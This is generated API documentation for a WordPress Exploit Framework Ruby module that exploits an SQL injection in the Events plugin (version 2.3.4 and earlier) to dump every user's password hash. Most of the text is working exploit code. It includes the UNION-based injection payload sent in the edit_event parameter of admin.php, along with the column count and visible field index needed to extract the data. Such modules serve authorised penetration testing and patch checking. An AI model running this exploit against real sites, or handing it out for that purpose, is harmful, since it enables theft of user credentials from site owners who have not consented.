class Wpxf::Auxiliary::EventsHashDump

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::HashDump::new
# File lib/wpxf/modules/auxiliary/hash_dump/events_hash_dump.rb, line 6
def initialize
  super

  update_info(
    name: 'Events <= 2.3.4 Authenticated Hash Dump',
    desc: %(
      Events <= 2.3.4 contains an SQL injection vulnerability
      which can be leveraged by all registered users with the permission
      to manage events via the plugin. This module utilises this vulnerability
      to dump the hashed passwords of all users in the database.
    ),
    author: [
      'Lenon Leite', # Disclosure
      'rastating'    # WPXF module
    ],
    references: [
      ['WPVDB', '8954'],
      ['URL', 'http://lenonleite.com.br/en/blog/2017/11/03/wp-events-2-3-4-wordpress-plugin-sql-injetcion/']
    ],
    date: 'Nov 03 2017'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/events_hash_dump.rb, line 29
def check
  check_plugin_version_from_readme('wp-events', '2.3.5')
end
hashdump_number_of_cols() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/events_hash_dump.rb, line 52
def hashdump_number_of_cols
  14
end
hashdump_request_params() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/events_hash_dump.rb, line 41
def hashdump_request_params
  {
    'page' => 'wp-events-edit',
    'edit_event' => "-#{Utility::Text.rand_numeric(3)} UNION #{hashdump_sql_statement} #"
  }
end
hashdump_visible_field_index() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/events_hash_dump.rb, line 48
def hashdump_visible_field_index
  1
end
requires_authentication() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/events_hash_dump.rb, line 33
def requires_authentication
  true
end
reveals_one_row_per_request() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/events_hash_dump.rb, line 37
def reveals_one_row_per_request
  true
end
vulnerable_url() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/events_hash_dump.rb, line 56
def vulnerable_url
  normalize_uri(wordpress_url_admin, 'admin.php')
end